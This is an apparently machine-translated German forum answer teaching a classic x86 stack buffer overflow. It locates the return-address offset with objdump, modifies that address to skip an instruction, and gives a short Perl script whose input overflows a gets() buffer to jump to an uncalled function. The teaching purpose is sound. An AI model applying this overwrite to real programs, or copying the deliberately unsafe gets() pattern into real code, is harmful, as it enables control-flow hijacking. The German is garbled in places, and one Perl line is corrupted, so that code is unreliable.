Hier ist eine Anleitung, die ich vor einiger Zeit für einen Freund über einen Pufferüberlauf-Angriff mit gets
geschrieben habe. Es geht um, wie man die Rücksendeadresse erhält und wie man sie über die alte schreibt:
Unser Wissen über den Stapel sagt uns, dass die Rücksprungadresse auf dem Stapel nach dem Puffer erscheint, den Sie überlaufen wollen. Wie weit nach dem Puffer die Rückkehradresse jedoch erscheint, hängt von der Architektur ab, die Sie verwenden. Um dies zu bestimmen, schreiben zunächst ein einfaches Programm, und überprüfen Sie die Montage:
C-Code:
void function()
{
char buffer[4];
}
int main()
{
function();
}
Versammlung (gekürzt):
function:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
leave
ret
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
call function
...
Es gibt mehrere Werkzeuge, die Sie verwenden können, um den Assemblercode zu prüfen. Zuerst ist natürlich Kompilierung direkt zu Assembly-Ausgabe von gcc mit gcc -S main.c.Dies kann schwierig zu lesen sein, da es wenig oder keine Hinweise darauf gibt, welcher Code dem ursprünglichen C-Code entspricht. Darüber hinaus gibt es eine Menge Code, der schwierig zu durchschauen sein kann. Ein anderes Werkzeug ist gdbtui. Der Vorteil der Verwendung von gdbtui besteht darin, dass Sie die Assemblyquelle während der Ausführung des Programms überprüfen und den Stapel während der Ausführung des Programms manuell überprüfen können. Es hat jedoch eine steile Lernkurve.
Das Montageprüfprogramm, das ich am besten mag, ist objdump. Running objdump -dS a.out
gibt die Assembly-Quelle mit dem Kontext aus dem ursprünglichen C-Quellcode. Bei Verwendung von objdump beträgt der Offset der Rücksprungadresse aus dem Zeichenpuffer auf meinem Computer 8 Byte.
Diese Funktion function
übernimmt die Rücksprungadresse und erhöht sie um 7. Die Anweisung, auf die ursprünglich die Rücksprungadresse gezeigt wurde, ist 7 Bytes lang, so dass das Hinzufügen von 7 den Rückkehradresse-Punkt zu der Anweisung unmittelbar nach der Zuweisung macht.
Im folgenden Beispiel überschreibe ich die Rücksprungadresse, um den Befehl x = 1
zu überspringen.
einfaches C-Programm:
void function()
{
char buffer[4];
/* return address is 8 bytes beyond the start of the buffer */
int *ret = buffer + 8;
/* assignment instruction we want to skip is 7 bytes long */
(*ret) += 7;
}
int main()
{
int x = 0;
function();
x = 1;
printf("%d\n",x);
}
Hauptfunktion (x = 1 bei 80483af ist sieben Bytes lang):
8048392: 8d4c2404 lea 0x4(%esp),%ecx
8048396: 83e4f0 and $0xfffffff0,%esp
8048399: ff71fc pushl -0x4(%ecx)
804839c: 55 push %ebp
804839d: 89e5 mov %esp,%ebp
804839f: 51 push %ecx
80483a0: 83ec24 sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8 mov -0x8(%ebp),%eax
80483b9: 89442404 mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff call 80482d8 <[email protected]>
80483c9: 83c424 add $0x24,%esp
80483cc: 59 pop %ecx
80483cd: 5d pop %ebp
Wir wissen, wo die Absenderadresse und wir haben gezeigt, dass es zu ändern kann den Code betreffen, der ausgeführt wird. Ein Pufferüberlauf kann dasselbe tun, indem gets
verwendet wird und die richtige Zeichenkette eingegeben wird, so dass die Rückkehradresse mit einer neuen Adresse überschrieben wird.
In einem neuen Beispiel unten haben wir eine Funktion function
, die einen gefüllten Puffer hat. Wir haben auch eine Funktion uncalled
, die nie aufgerufen wird. Mit der richtigen Eingabe können wir uncalled ausführen.
#include <stdio.h>
#include <stdlib.h>
void uncalled()
{
puts("uh oh!");
exit(1);
}
void function()
{
char buffer[4];
gets(buffer);
}
int main()
{
function();
puts("program secure");
}
uncalled
ausführen zu können, überprüfen Sie die ausführbare objdump
oder ähnliches mit der Adresse des Eintrittspunktes uncalled
zu finden. Fügen Sie die Adresse dann an der richtigen Stelle an den Eingabepuffer an, so dass sie die alte Absenderadresse überschreibt. Wenn Ihr Computer Little-Endian ist (x86, usw.), müssen Sie die Endianität der Adresse tauschen.
Um dies richtig zu machen, habe ich unten ein einfaches Perl-Skript, das die Eingabe erzeugt, die den Pufferüberlauf verursacht, der die Rücksprungadresse überschreibt. Es nimmt zwei Argumente, zuerst nimmt es die neue Rücksprungadresse, und zweitens nimmt es die Entfernung (in Bytes) vom Anfang des Puffers zu der Rückkehradressenposition.
#!/usr/bin/perl
print "x"[email protected][1]; # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n"; # new line to end gets
ich diese Methode nicht verwenden kann, , weil ich Linux und GNU GCC verwende. –
@Mike, eigentlich können Sie die _method_ verwenden, da 'gcc' auch inline' asm' bereitstellt. Sie müssen es nur in die alternative Syntax konvertieren. – paxdiablo